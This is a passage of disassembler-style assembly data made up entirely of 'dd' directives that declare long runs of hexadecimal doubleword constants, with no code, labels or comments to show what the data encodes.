		dd 0BB430B5Fh, 328B4599h, 91FB30E6h, 7EB99AFh, 6EECA63Bh
		dd 48DAD0CBh, 0D0CA3E40h, 4039A14Fh, 52311578h,	0D5214925h
		dd 7F7B38FBh, 0CB4DF9A6h, 0F636C91Ah, 0E819B8DAh, 0FB2126BAh
		dd 330B6344h, 0C6E2AEC7h, 7EC9FB34h, 7BA06766h,	0DC1CC52Eh
		dd 9427BB3Dh, 0D51EFD39h, 495DCACEh, 940AE515h,	92291FC7h
		dd 0C5141BCFh, 51018CDh, 3BD50BA7h, 0ED8B9DB2h,	5F8E1C3h
		dd 0F1B1DAE0h, 8C5DDED5h, 4BEB13B3h, 7F4AA0A1h,	0F9DA9470h
		dd 4BD31AD8h, 0D75857DFh, 974C306Bh, 0EB94A8B2h, 0F62C86D5h
		dd 0C0B17B7Eh, 7F309D62h, 0D0FCF39h, 0F9D6F484h, 8E4E3146h
		dd 84217FFFh, 7799E542h, 0FFD8A55Dh, 0FAD7FF64h, 0D40F410Bh
		dd 906606A9h, 6F9CF321h, 0AE58E571h, 371FA9E5h,	0D1031852h
		dd 0A0F562B6h, 844FADCBh, 15E64E3Dh, 0FA0840D6h, 64098D2Ah
		dd 4E750C86h, 533AB8FDh, 5DC93663h, 0EE7AEDDFh,	0FA1F6E58h
		dd 0E8456CE0h, 6D6BCDE0h, 0AD09F9Ch, 0B112E344h, 2DFD12D1h
		dd 51D85352h, 0CEB7F82h, 620824B7h, 0E854FD3Dh,	0E9A7C1F9h
		dd 0E8AABCC0h, 3EAF4E5Ah, 0FFD07915h, 4EAC4899h, 0D55EC9F5h
		dd 4896F043h, 9CEC944Dh, 0BACDD232h, 4AFCE8E8h,	4B51E2A9h
		dd 0AE148BA5h, 2DA2E8D9h, 456D7E32h, 35504804h,	55600B81h
		dd 0BF4AB84Eh, 0F4DCD62Eh, 29F920ACh, 0FCFDFFACh, 0AD17C2ACh
		dd 0EF6A00E8h, 0CBA2E54Dh, 0E7AD6024h, 0BEDBA905h, 1121B744h
		dd 0FE01CC7Dh, 48ABC5A5h, 9FBFD45Dh, 0BEAAD12Fh, 8B6E2C98h
		dd 0C2EE904Ah, 0AA4A3244h, 585D634Fh, 14D20FB4h, 94F85A74h
		dd 42DDC508h, 0D3097FB2h, 48806144h, 0B99DE512h, 0FB9E8C76h
		dd 0CC6B11FDh, 85EADCB2h, 0C6CEC448h, 0DF119168h, 0CE592D92h
		dd 6C4D05FFh, 42CB7798h, 0B2026CADh, 3D6EC099h,	71D0992Fh
		dd 9BE22283h, 40FF582Ah, 7FA10989h, 0BEE768F5h,	0B66E115Fh
		dd 84FE3EFBh, 0AD2CBBD8h, 81C628DDh, 14D3AE94h,	8B72A952h
		dd 25CDC4DEh, 51AE9D8Bh, 4D96A734h, 0F198115Eh,	46346FABh
		dd 26E7AA31h, 63E029C1h, 0C9C086ECh, 0BBE680ECh, 0A9549CB0h
		dd 401B2997h, 0DCD8AF30h, 0B5DF423Fh, 2D60662Fh, 811B0BA8h
		dd 0AF70897Ah, 1A1E4480h, 0B062C3E7h, 0F53F64DFh, 0A8E06C99h
		dd 7F9F385Bh, 82A1A36Dh, 0F5CB745Bh, 0E8221ECFh, 24AB205Fh
		dd 78BE3574h, 0CDB94379h, 0E3CC7D72h, 5626CCF3h, 464B4532h
		dd 10BD0B19h, 77122FDFh, 0EFB4930h, 0E72F7E94h,	8FEDA6Bh
		dd 482B5485h, 8249E376h, 0FFA41335h, 801A9F09h,	8D0846E5h
		dd 0B1D90D3Dh, 8928C6D1h, 0B427BC0Fh, 847A628h,	7AA2C38Ah
		dd 90FF1AC4h, 8C35D8D5h, 6D925539h, 0EC60C01Fh,	0A310C244h
		dd 426468B9h, 17C22101h, 830C138h, 0BC1F4197h, 0AFD17A0Eh
		dd 79595FB0h, 87F7D529h, 0E3172772h, 42DD4D6Eh,	464B6C88h
		dd 0C0A09239h, 0DE6D856Eh, 37C85C09h, 0B2EE4528h, 0A649D0C3h
		dd 5738B0D9h, 0AD0D1FCCh, 0A0E68F3Bh, 0EE97E04Bh, 695827BDh
		dd 651D6894h, 0BFFBE11Bh, 0B9E6B6E9h, 16C0B2D6h, 7FE0A481h
		dd 661EB847h, 336838F7h, 0CB359E43h, 96ED445Bh,	7B2FD8D0h
		dd 0AF2C1F8Fh, 4747CC1h, 3ADFD799h, 4C563739h, 4C4E0CAAh
		dd 0A16DF529h, 7C0C82D0h, 0C9D0E216h, 0FDC68125h, 0C6009C94h
		dd 0BFF4FEA3h, 482ADEB9h, 0E1FA84C9h, 4CC9A8EDh, 4DB74C94h
		dd 0BF8DDCCh, 0CF94A0F3h, 8DAD9598h, 3612C3A5h,	1D705FCFh
		dd 0E99AA319h, 16CCCCA8h, 0CA1AAB6Fh, 0CDC9D828h, 0F711B90Eh
		dd 0F71D9BCDh, 0E0986C09h, 0DE023D2Ch, 0BBD537F6h, 0A998D5CEh
		dd 0BBB3C9DEh, 8C481360h, 43CEB8FFh, 0FCDF795Dh, 9F36DC54h
		dd 0CBA8A34Ch, 0D734873Ah, 5A224858h, 0EF47FB7Ch, 0FDAA06F3h
		dd 6C32B8BCh, 0D34FA5BAh, 8CF4AA99h, 78B818Fh, 9F11E11Ch
		dd 0D8CCD5CBh, 0CBDCE214h, 0CB63885h, 0B83E65BFh, 0E5E591Bh
		dd 4B5DED8Ch, 93E3526Bh, 86462135h, 8B72BD3Eh, 10EC818h
		dd 593DADC9h, 5F809223h, 0E7C897BEh, 2CCEC789h,	0FA887A38h
		dd 88551599h, 62EAEDDh,	64E02667h, 0A052AADFh, 34D82896h
		dd 5AF10E44h, 0A92EFE8Dh, 3E1A8828h, 0FC43B4DEh, 0F49ECD6Bh
		dd 0ED272EC3h, 3AA63CE1h, 0B87B5C50h, 0B3F2D139h, 0C627B945h
		dd 0AB28954Ah, 0E9B11015h, 4C665CCh, 817B325h, 98278C28h
		dd 0C302DF1Dh, 91771475h, 160C6B80h, 14A7E7E1h,	0FAF5D04Ah
		dd 0CFA5547Ch, 861C694Eh, 0CC7E8C74h, 33F2513Eh, 2248A279h
		dd 0D46C75E9h, 2521DCB3h, 0CDA71E5Eh, 0D8DD8BE2h, 5EDF08DDh
		dd 5F93AAF8h, 577FB4Bh,	0D169A967h, 0B27D2820h,	0C9782068h
		dd 93CD2F12h, 99F02437h, 6A654253h, 186312B6h, 0ACEA5BD7h
		dd 998D46AAh, 67BCEE35h, 419FC665h, 3FC7983Ah, 0B2F5EDCCh
		dd 0E8215B37h, 0F04D1997h, 0BB5ABDEDh, 0DAA011E2h, 1744C490h
		dd 3C36118Ah, 4FD9F2EEh, 0F638248Ah, 412DF4CEh,	1DB01EC1h
		dd 0C76F651Dh, 2E916572h, 0A7A01B28h, 0BDE80D17h, 74AFDA4Ah
		dd 27A01B1Dh, 85383082h, 8AD8C060h, 6BB5D409h, 0B75B946Ah
		dd 0B515984h, 0DDDE583Eh, 4A104B82h, 0D7B5DDD4h, 0C5FBA5Ah
		dd 7B35A6Bh, 0D6E2E517h, 21303869h, 9404B7F8h, 0C3CD9574h
		dd 0CB231B2Fh, 0AC55C152h, 0C58CF5Ch, 0D00F29DAh, 5959D10Ch
		dd 11D8BE1Dh, 4D619390h, 8269DDC8h, 230FA30Bh, 0B52D5B26h
		dd 0DD903B8Fh, 0D53A9915h, 812DD597h, 83C6F70Fh, 0D1AC2F5Fh
		dd 8C4B8D9Ah, 3D53F45Ah, 155E03E8h, 0A30667C4h,	0A0ADAB19h
		dd 85459679h, 0BDEFA7B3h, 361DCED0h, 109C80D0h,	9A303A05h
		dd 2E2A9E92h, 6E533614h, 0CBAFCF2h, 0C25EF076h,	4ABAECFh
		dd 8D5EBCFCh, 0F09EB415h, 0BB8EC272h, 0C2D96B11h, 87D96306h
		dd 8D41FD78h, 939CF373h, 10E7435Eh, 40911C45h, 0D6B71F86h
		dd 0A6792408h, 4B831452h, 0B7F59819h, 0C9E5E634h, 68F7EC24h
		dd 4A818C34h, 95738315h, 97816779h, 6A90101h, 0CB3A11Dh
		dd 50F11AACh, 0FCAA3DC2h
		dd 7563735h, 7C630560h,	2AE01C89h, 0A3A75F15h, 0CB90AB88h
		dd 78A96CDAh, 4AE30A0h,	7ABF7D46h, 0C072425h, 69B98D75h
		dd 0F61C69BBh, 3AD11884h, 2DE0A109h, 5CFC7BFAh,	11A6AC9Dh
		dd 0E3C391Eh, 0C8DD3AB1h, 0F4C263E3h, 0EB23235Ch, 0B226E0B1h
		dd 0B121255Dh, 8A315864h, 721ED8D9h, 381B601Bh,	697161B7h
		dd 3BE28014h, 0F73F49CEh, 5CB8251Ch, 0EC2E6496h, 1460F2C4h
		dd 7293E609h, 38EA982Dh, 962D7EE9h, 0F570AADEh,	0FE5E5454h
		dd 0D7D1FBF1h, 0C6DCBC76h, 0CA80621Dh, 0EE3338D7h, 8ACDFBF9h
		dd 4F2DD3D9h, 0CD474C8h, 887ACD09h, 22CD2354h, 0CCA1D457h
		dd 0FE0E3BD9h, 42070F21h, 0F51CDC84h, 0FDBFD4C1h, 0C6E1C523h
		dd 0AE5E8709h, 0FBAC3FB5h, 0AC32F424h, 6182B90Eh, 0ED25AF1Dh
		dd 49752EFh, 8458E7A4h,	26775755h, 0CB1F4939h, 0EFFED07Dh
		dd 0C38E18F7h, 820F74F5h, 0DF335A9h, 6F5ABA94h,	0FBE1ACDEh
		dd 0B1C99C54h, 0CC88F918h, 3B07EABEh, 9FC7AE46h, 671DCCCAh
		dd 9F54D11h, 7E02B840h,	0EF56A89Eh, 0F89F2ADAh,	40C52FC8h
		dd 0A2511DC9h, 6E14E0F5h, 391575DAh, 2DFEB40Ch,	0E1EE2374h
		dd 0EC2826E1h, 50F16F4Ch, 0E82EB1B6h, 9352CDEh,	8DFA24CEh
		dd 8E221DB0h, 421EB535h, 1E7AF114h, 1A5EF758h, 0FCA51F24h
		dd 0FBC55EBCh, 0EA30EDDBh, 0A488D90Ah, 0E2DD549Dh, 836A45Bh
		dd 0E41FC75h, 5B33EEDh,	0F61D194Bh, 97B3B77Bh, 0C2D3915h
		dd 0EFEAB6BEh, 0EBC2AD32h, 8251DC1Eh, 1EE588Bh,	286EBC5h
		dd 99BE2175h, 17395841h, 3B18BECEh, 9DED7C54h, 0EFC6CCD5h
		dd 89659C4Dh, 614CC1D5h, 4485FAD9h, 1CEDE5Ch, 0BE3EA6D3h
		dd 867A7856h, 8FFB81A7h, 94E013A7h, 93551DACh, 0B1AF78F3h
		dd 0B961C6BEh, 813BC4DFh, 399EE14Ah, 0AE50D952h, 0E40CB4A9h
		dd 2EA1E2C8h, 6416FFCDh, 92FDD72Bh, 51661017h, 3CFD3BE8h
		dd 0F90A54Ch, 0C26E7DEh, 7C89F844h, 81068A3Dh, 0CA461F5Dh
		dd 793DA454h, 0E5115CDEh, 0F5FA81B3h, 12F286D4h, 256EAE3Fh
		dd 0FA1FE92Fh, 0D62ACEFh, 9F0A1A5h, 52E1D4ABh, 0ECE35C3Eh
		dd 3A6D72EBh, 462158A0h, 70652911h, 0E71B6255h,	0CC1A88E8h
		dd 0BFCED3Eh, 7CA82D51h, 202EEF25h, 0AFF8AA56h,	0D9E151Ch
		dd 0E922DC18h, 7C7C1C3Eh, 0C5A9CE5Eh, 0CC0DE529h, 140FC9B2h
		dd 3D602776h, 55AB914h,	8EF1D7F8h, 0D8D9B1DDh, 0C98F21E3h
		dd 0BE3488E3h, 7984AFF2h, 8DDAF2E9h, 48F4F046h,	35E84220h
		dd 24CC36DAh, 0C60FBEDh, 0EB7FE8E2h, 0C6593CD7h, 672E3598h
		dd 8FB3DDE1h, 0C73A4CE9h, 31876DC1h, 0ED494C48h, 9B87540h
		dd 98AAEA74h, 0CDBEE725h, 0BCB5F4FDh, 5A505FE6h, 0C3318717h
		dd 0F52D1F1Dh, 0E5ECAF46h, 84B5CDB3h, 0FF5AEB63h, 62596C9Ah
		dd 928F2ED9h, 0C73508EBh, 7C423E5Eh, 0B03BF77Ah, 5BEE4EBDh
		dd 0BF2EFA0Ch, 338A6453h, 2935B2D6h, 7119863Ch,	296CAAF7h
		dd 0F06C5CDAh, 13CD2DB3h, 0DE2C6030h, 0D5059B8Bh, 8162F3Eh
		dd 709F6D12h, 0B32F673Dh, 2BA16577h, 82C9AA09h,	0F592451Fh
		dd 58A5AAFFh, 6CB5DFF9h, 7AA723D5h, 5B644211h, 9C72C50Bh
		dd 4BBA953h, 1757988Dh,	0B7DB7C9h, 0AE586386h, 91989688h
		dd 123D1D6Ch, 634FF00Dh, 0F677E544h, 0AFBC27C9h, 4C657C54h
		dd 7503F5F6h, 8A92A9F9h, 0C10A663Ch, 19FEED85h,	90D86491h
		dd 15CCBD6h, 7217DD90h,	46690873h, 0BC5FD7DCh, 0C0A5C448h
		dd 84E1439Dh, 0B3DEF136h, 9AB14915h, 81ECF009h,	2E27F5D1h
		dd 2C795E54h, 16279D11h, 312C8BE2h, 6ADF071Bh, 0BBBC7A15h
		dd 932EC4A4h, 54E4DE6Fh, 0AA9882E6h, 0E21AAFA2h, 91A5C738h
		dd 92C71C7Ah, 0BBA2AD2Eh, 4B5CE2Fh, 8439389Fh, 308117DAh
		dd 0EF5EF095h, 975238F4h, 0E1046ABAh, 0DFB3D1C9h, 2D949C1Ah
		dd 0EFC02AE7h, 4AE9C4D5h, 0CCADEF44h, 1D797D27h, 0BEE2D9CCh
		dd 0FE844B11h, 48DF4498h, 0D8B1A5DDh, 0A85EC65Dh, 0CA3F2446h
		dd 861F3936h, 1B16B3F5h, 38602BE1h, 0EE561B93h,	0E7EDA0A7h
		dd 5A1116EBh, 55BD56CDh, 0B4E06EA8h, 40FE13Bh, 9228565Bh
		dd 9546C08Bh, 0F17C409h, 0C71F2277h, 0CF18CA83h, 0B2B462Ch
		dd 0EE8BA6Eh, 0DFF6F752h, 0FE9235C4h, 6DEA38B7h, 7FCFACF9h
		dd 89CA6653h, 0E12CDEF1h, 7FF53C23h, 0FAA73F2Fh, 0DA822B02h
		dd 0B5A5B5F8h, 8C6FBAF2h, 70F4CABAh, 0AC032784h, 0AB29EE7h
		dd 1127BA4Dh, 8F10981Fh, 4C59FB27h, 2E0AFFE5h, 4FA8DF0Eh
		dd 0A2CD3110h, 4223EA2Dh, 79538FD8h, 9E0BEA4h, 86CEAD11h
		dd 9337642Eh, 0C96EEDFAh, 2DF1F028h, 8BE35943h,	6E121390h
		dd 684D205Ch, 2C856062h, 9671F5FDh, 126D2066h, 78915629h
		dd 2E2E246Dh, 0F20D7EFAh, 9E857E15h, 3F92B32Ah,	0DFAAA18h
		dd 7AEE2CDCh, 0DBD56407h, 0E95742D3h, 7FE6447Dh, 0B6A5C447h
		dd 15ADE21Bh, 9B131B6h,	86075846h, 0D0A1F8ECh, 838EAD9Ah
		dd 4D2633DBh, 0A74D6490h, 8229A9CBh, 99DAE231h,	1C50F8CFh
		dd 0CD468794h, 0EDE5C01Bh, 0C422E14h, 0E837FECEh, 2E9A93Fh
		dd 0D81841C7h, 2B5BBA94h, 92DCFE3Eh, 5B1DC44Eh,	0F1E26282h
		dd 0CA21B8C5h, 89D1799h, 2486ED42h, 4DDD6C60h, 0F383D5Dh
		dd 0F851F114h, 0A8999875h, 0AD603D3Eh, 0C28034FFh, 0D0966F09h
		dd 4DE63703h, 0E192CA81h, 173B67D9h, 68CDB227h,	25440C08h
		dd 0B2AAB892h, 0A91E38DFh, 0CCA1192Ch, 0E1931789h, 8A1E9C55h
		dd 2DE298A9h, 319EC8CEh, 0F166CE42h, 320B75C8h,	2D9F201Fh
		dd 0AE215EDBh, 49AF7595h, 6A29E53Fh, 4EAEC8D5h,	6BA0BE19h
		dd 136FE8FDh, 0E0CBEC8Ah, 9FC1B995h, 0BA306ED7h, 64047A99h
		dd 0C008CFD7h, 19CC1828h, 7D06B84Fh, 0E0E7978Ah, 0C122F42Eh
		dd 0EDDC346Eh, 89DCEE42h, 7BBCECD9h, 171CDFCEh,	9933C1Dh
		dd 6A055358h, 0DDA0B46Ch, 0FA31B9CFh, 0E13F4868h, 5A39ECB5h
		dd 39D96286h, 1C47DEEAh, 0ECA3AF21h, 0BBFE922Ch, 8B8AEF91h
		dd 0EC90C7EAh, 0EDFBBAE9h, 52E0C7E4h, 82A9F7B1h, 0C615FE34h
		dd 0F9CC7030h, 71D9E9CCh, 0F81D0236h, 44A2B875h, 8046513Fh
		dd 634D8035h, 0EC1A0056h, 663DD32Fh, 0B8B9CF0Ch, 0F58D2F6Ah
		dd 4B47007Ah, 8DD02845h, 7E3FCB1Fh, 0C1B1EADBh,	0C0A2DAF4h
		dd 33B5E41Dh, 0E9AEE63Fh, 0F4829F71h, 0CB57AF1Dh, 0E8E1DE21h
		dd 8FE8A13Eh, 0EF583B9Ah, 1D36F984h, 0C9EE112Fh, 84DAD125h
		dd 416E5A02h, 0DE51D2B0h, 1C459535h, 10019D25h,	0E670BF5Dh
		dd 0DAEED13Ch, 0FE206DA8h, 0B7D6F17Ah, 29D767B9h, 14FD656Ch
		dd 98798132h, 5CC2A4A7h, 0EF32E8BDh, 68BD12EFh,	0E2B06532h
		dd 0C4B0D828h, 0A7315A93h, 0F8D8EF94h, 5F3FC1F6h, 78F0DF10h
		dd 3DEE1877h, 156865CCh, 0F39F9120h, 0EF9C3D5Dh, 9987FEBh
		dd 8A40E482h, 65BA0C6h,	0CC91906Ch, 0A52B5267h,	61DD3A6Fh
		dd 7D0D198Fh, 0CFDDE721h, 5BFBA5Fh, 0DEA17EE3h,	82883EC9h
		dd 1D8B18F6h, 309563CFh, 435EEEC9h, 0A89D2C19h,	175999B0h
		dd 644BB32Dh, 0CC1D533Bh, 0F41A8C2Bh, 153E1801h, 0FA8EC094h
		dd 8B1426F4h, 6BC40931h, 0DDA349C5h, 6131E475h,	909BB1D0h
		dd 82EC6622h, 0F10163A7h, 6EC8E5FBh, 4C3933E7h,	83DE1C99h
		dd 621580E0h, 525C44A7h, 0CF2D5775h, 0CB007AD0h, 0B5229795h
		dd 0EB6D0928h, 61B6D139h, 9D70F3ACh, 0CC0DF7CDh, 1CC2060Fh
		dd 2B961F79h, 36169C97h, 6E593588h, 0DB6ED90Ch,	74423782h
		dd 0DFE7FA2Eh, 9E0AD43h, 0FBB06706h, 319FD736h,	0E48EE850h
		dd 87486644h, 0F94AF793h
		dd 1BAD44A8h, 6DAE638Fh, 0B10EB578h, 8A5D2916h,	0FF1E9578h
		dd 7EB8ABDFh, 0C0CDDFE1h, 0FC6AC73Fh, 2A143965h, 828FCC28h
		dd 0C7957B1Dh, 0C812B915h, 0F284A11Eh, 6ABFCE4h, 0C083CCB4h
		dd 0A689CA99h, 0E5C08329h, 7577F5DCh, 0B347FF8Bh, 0A4AD593Eh
		dd 49A7EFDFh, 60E4C73Eh, 189DFE9Eh, 105B0CFCh, 67D2BCE5h
		dd 0DFFD2084h, 0B26B4827h, 2712CD4h, 522B1888h,	0F9C646AFh
		dd 863ADD12h, 419ECE21h, 1D12D53Ch, 0FC12E001h,	6E5F6944h
		dd 480D893Bh, 860C40E8h, 9431C0D5h, 5E2ABBC5h, 74ED9FD6h
		dd 7FCD3231h, 0F49F38B7h, 0C676E6EBh, 447B7D4Fh, 0F6884FF9h
		dd 0AB1EBECCh, 0A4AFDD10h, 0C2500C48h, 5E250211h, 0D222EBCEh
		dd 0D9886219h, 4800204Eh, 0E997F3D5h, 80D0E405h, 0D6F7FD39h
		dd 7524FFC8h, 0D506B88Fh, 1FBA3586h, 4BBAFF6Eh,	0F98BD9EFh
		dd 9E179CD8h, 8014DD6Ch, 1857106Fh, 0CFE2B808h,	0CA3005AAh
		dd 0B621E51Ch, 942E990Bh, 0C63EBB21h, 0D0598134h, 2F3DD35Ah
		dd 0A9D63542h, 4886F729h, 515215ACh, 0CDF658F9h, 39BD1ADDh
		dd 0E0EE5CE1h, 4320F227h, 0AA0005C0h, 0DC367F5h, 0BAD2B1EDh
		dd 0EF6BAE02h, 0AEF5CBAFh, 0C81218F2h, 7400AD9Bh, 0B61EE0B5h
		dd 5919CBAAh, 2412BB3Ch, 301EC235h, 0C50A012Fh,	61E158C9h
		dd 0B636C0FFh, 0E623388Eh, 591AEDF9h, 0D0464E35h, 11EE0C14h
		dd 495A3EAAh, 87890F95h, 0CECD5C3Dh, 22DD5001h,	0BB3A9E33h
		dd 338BA9D7h, 15DACFCBh, 0D79ABE7h, 25A6207Ah, 492BADCBh
		dd 0EC40317Bh, 110CB21h, 0D4015BCh, 45C1AEADh, 659DA5E0h
		dd 76267003h, 0A9816808h, 0ADECFED8h, 425C4CBCh, 0F63BE8CFh
		dd 7B84F2DAh, 0E6C2DABCh, 0FAB56C19h, 0DBC57923h, 6EEF9210h
		dd 1BA95F39h, 256E4C1Dh, 2960F0F5h, 0D48EFED0h,	0EDFAD7B9h
		dd 0E916BAD6h, 2B9C4A5Bh, 13422623h, 0B3CB347h,	0CE8D8B41h
		dd 0E2A528EEh, 247EA320h, 0D8C888Ch, 0A2CE1931h, 76A14CC7h
		dd 0DC1DADB6h, 0AB48D41Bh, 5F59F493h, 96E89047h, 17A6D0AEh
		dd 466C79D7h, 84FAA6E1h, 0BBB09C90h, 7092B91Dh,	0EDADDC64h
		dd 0B2DC91E6h, 0D878043Dh, 0C2BC4B42h, 0F2D82ED8h, 843E3D16h
		dd 0ABBE17A8h, 0E3801FBDh, 424D1066h, 0B5D39845h, 11297A7Fh
		dd 1D2FD567h, 3851F11h,	102FC891h, 6AF84D2Ah, 495757ABh
		dd 0AD9D527Fh, 0C3A3ED17h, 0FCE11011h, 0ECFBAB1Ch, 1BF91763h
		dd 0A1C7C4ACh, 0BC2089E1h, 0E1011EFBh, 48A2E2DDh, 19B021E9h
		dd 0F46EA326h, 0D1F6B73Bh, 0AE556B17h, 0A5FE98F5h, 0A9A5CE43h
		dd 0ADB83034h, 69C6E2D5h, 0A55BB037h, 9DF86C43h, 0CFB69B17h
		dd 0F5B1CC42h, 7E3BE3A3h, 3BAC8726h, 446840D5h,	78E2FD11h
		dd 11C824A5h, 4555A7C4h, 0FCAE6Ah, 93E25492h, 23E787B0h
		dd 8C823CDFh, 0A9F3C07Bh, 855D982Dh, 0CC9AB5C7h, 0A416A769h
		dd 0F87AEAA5h, 0A93F5622h, 0EA9D2A11h, 0F7D971ADh, 0B29B9897h
		dd 856114AAh, 0ABBC8515h, 92E8A0D8h, 0BE4DCD42h, 795F8694h
		dd 0FA82B915h, 0A445AF4Dh, 0EC92EBAAh, 0BE9FCCD7h, 7DAFAEEFh
		dd 0DEEFAA13h, 0CC198712h, 57844F25h, 0A32FB7B5h, 9D62BD7Fh
		dd 0CD971EA9h, 4DBFAFDAh, 0A4E81ECDh, 0BBCBE6B2h, 0AE350D3Ch
		dd 8C0AEFE1h, 8BEEC2F1h, 18765D22h, 0B709512Fh,	9EE8057Ah
		dd 688810C5h, 1FA3FB03h, 0CE2BBC28h, 5ED48C9Ah,	45F3E0A1h
		dd 14E1C8D4h, 9345D0E4h, 0DAC664A8h, 2D4C8BFFh,	8F84A832h
		dd 586BD2h, 0F949E07Ah,	0DC5DB6FBh, 0BEEC51CBh,	0D2A7C9A8h
		dd 0EDC6DB1Bh, 0D778B696h, 0EA2BA99h, 145584CCh, 49311354h
		dd 4D20E41Dh, 0EC345910h, 8B2F778Bh, 8A2BF074h,	20E2576Ch
		dd 0E07BA8Ch, 4C4BF69Dh, 8B5A2D20h, 0B7AA2696h,	50A4378Ch
		dd 0A6088F9h, 38909D56h, 992D797Eh, 0C22AD565h,	4D5DFF37h
		dd 0F0D8C017h, 7432B061h, 91A5F10Ch, 0C9E99937h, 0ADA75874h
		dd 0E0E210Eh, 0ED75DD3Dh, 0F2319E1Dh, 19EAC96Ch, 2937F1FCh
		dd 0CE20F124h, 0C23907CEh, 97DD20D5h, 0C0EE4169h, 0D0B19A8Ah
		dd 82F0E244h, 9DE0043Bh, 4B4288B8h, 59C1597Ah, 0BA28F98h
		dd 0D1234476h, 5C813F94h, 539FEE04h, 2FEDFCADh,	0CBE9F4CAh
		dd 0EE8882ACh, 42C151F1h, 0FBA1AA48h, 66B4FCE0h, 0C0FFD729h
		dd 7BE5CEDBh, 47D51BBEh, 0E956EA4Dh, 0E5FD006Eh, 5CE88938h
		dd 9E364BE1h, 40E25372h, 49ED8735h, 0EE8EFF15h,	95E68A04h
		dd 0A39A0B29h, 0B75174E3h, 4A51252Ch, 95518B54h, 0A5384B45h
		dd 0E7D1CB14h, 75F308Eh, 2D5FEBB4h, 1562B64Eh, 0C3579119h
		dd 0CC24B9F9h, 0F759AD10h, 32D2BC00h, 0D3D1DE0Ah, 0F2CC10CCh
		dd 2D905D96h, 9616193Eh, 6137B11h, 14E6F31Dh, 0AD11B16h
		dd 15D292FFh, 0F39241B9h, 7A6AA0DAh, 0D41954ACh, 7627DC69h
		dd 29D47019h, 63A9AB5Fh, 0BF779C0Dh, 7DD8F1FBh,	0E001E1Ah
		dd 0DCD2E1F9h, 0C3687AFFh, 0C3D11BB5h, 0D05E8BE1h, 941A9F4Dh
		dd 34CF2DC6h, 85EB89D5h, 0B6CBC9AFh, 1D192028h,	103F9808h
		dd 0D3CD60D1h, 0BD35CF95h, 9AF47F1Ch, 17BEE519h, 0BB47CC18h
		dd 99DAFC2Bh, 0F0D9BAEDh, 8F3B7FCFh, 853F1610h,	0D0FED1Ah
		dd 585290E2h, 43401E12h, 0E435F819h, 0C012985Dh, 5B67D5CCh
		dd 0E6C7777Eh, 957BAB14h, 70A17C5Bh, 4ADF82F3h,	4D12ED1Eh
		dd 0C6698045h, 41A3E896h, 7F3E6DCBh, 4E0F761Ch,	0CEBB41CAh
		dd 2596F4AEh, 18C170E2h, 207D47FFh, 402231ADh, 86187BD7h
		dd 34632504h, 0FCBF7790h, 42ECAD97h, 0F6D794D5h, 78A7D139h
		dd 781965B8h, 0B936D7ACh, 10A1E613h, 0C0306A7Ch, 0E4A7E23Fh
		dd 89FFEA92h, 0B2FD59Eh, 695EE7FBh, 9B524EFFh, 24DD3EFh
		dd 0FC10DD24h, 66F22695h, 908E700Ah, 6E0E442h, 1ED4A030h
		dd 0F158F518h, 3C79EC96h, 0CEE50B39h, 0C434CFDFh, 0EF9C65E2h
		dd 0AF47E48Dh, 163F176Dh, 0E775E52Ah, 1753DBF6h, 4FAA7D39h
		dd 9256A2CDh, 0ECCDFC55h, 0FED41E7Dh, 1BFFF2C4h, 0F071156Eh
		dd 643C38DAh, 1601B4B5h, 0C047E0F9h, 0BDBFF255h, 553DDC0Ch
		dd 706CAC4Bh, 465321CAh, 525DA3D3h, 0D6AE8C40h,	0D1BC8093h
		dd 0AE5FA0E2h, 4933E102h, 169CEA47h, 492B6BF5h,	0CCCC20BCh
		dd 30BE6773h, 0AE6621Bh, 0E5859040h, 58A057C5h,	0D521C816h
		dd 14D1D08Ah, 0A1F75D4h, 20B76096h, 22017B4Eh, 9A830ABDh
		dd 9BBE8CFFh, 0B00FD0DBh, 10E62DB5h, 74EA54EDh,	1B3F4899h
		dd 0E40A9121h, 0CF1C1BFBh, 56A7D424h, 68EF02FEh, 3202BD4Eh
		dd 0EE73573Ah, 9A2CF806h, 0DF616AB1h, 3EE17EE6h, 482148BCh
		dd 34A4982Dh, 4F9B9394h, 0D5309503h, 7A2C14A2h,	4C9DE415h
		dd 0F857C9Bh, 0C62A9B35h, 3D0421BCh, 0C98B933Dh, 8C0608BDh
		dd 0CE999070h, 5C0DAE60h, 57E3951Dh, 4323EF1Eh,	4EFA557Ch
		dd 0EA42A0EBh, 2A001025h, 2E589021h, 1B064414h,	0CE3034D5h
		dd 593C462Dh, 1013919Bh, 9C9F5AB5h, 932E13A8h, 0F9391C47h
		dd 0B993C0ECh, 0BBD2F929h, 6197ED75h, 0F8A65500h, 9460BFC9h
		dd 5286C5B7h, 0D7BA80BCh, 6944C721h, 0FC869FD6h, 45E662AEh
		dd 0BBE063D1h, 0D431A612h, 41509A1Ch, 0BBE2B0DBh, 0EB28FC3Ch
		dd 7CCFBAEh, 0DEB7DEE6h, 623E384Fh, 8BD35BDAh, 2C2046C7h
		dd 39069C4Eh, 0BA6779CEh, 835D2FA6h, 8D78D0DFh,	6261FF89h
		dd 9094C11Fh, 0CDB85B8Dh, 0FF9F3F93h, 2BBB9E2Ch, 0D82A7D0Ch
		dd 0A31A09Fh, 0AC0E8F54h, 8608E87Eh, 40EA280Eh,	82A992F3h
		dd 3DB282EDh, 217AEDD9h, 0AC6DA8h, 0E2BE0B4Ch, 45744AAEh
		dd 78FAE90Ch, 876838F2h
		dd 0F2FF4716h, 0A9C2A11Dh, 12E68748h, 0D583804h, 3A6A13B3h
		dd 0FDCF7B03h, 4A9C101Eh, 7DD69A2Ah, 0E61A6E53h, 4D5E11E5h
		dd 8BB16FA0h, 89F79E8h,	5117A390h, 2E5D5C06h, 99964085h
		dd 0D478524Dh, 62BF4F49h, 0FE3E3696h, 7CC7C127h, 0C554A49Ch
		dd 0A4AC78DAh, 4D2D5032h, 91880EC8h, 0BA30E5F8h, 0F4E01E2Fh
		dd 25E27A79h, 0B949F595h, 0A009F016h, 865EEFFCh, 25C2492Ch
		dd 5DBA3189h, 0D0A79BE5h, 0ACF7E0ACh, 0EF687FDCh, 0D082797Dh
		dd 39AF3933h, 78DAE7D4h, 0FF432B92h, 45E19B05h,	0ADBE0BC8h
		dd 40EE99CFh, 0C75D62D8h, 5BA97C87h, 0A1542C8Eh, 0A0EAA995h
		dd 9B8E9C17h, 0DB6E871Fh, 24DA7B77h, 0FBDA55B6h, 4B2E1E76h
		dd 85503035h, 5BE08E2Ah, 0C7BC0DBCh, 6B081B2Ch,	75123EB2h
		dd 0D422CAD0h, 0EDBC5289h, 293E9D0Ah, 0E96E8EABh, 3B0B700Eh
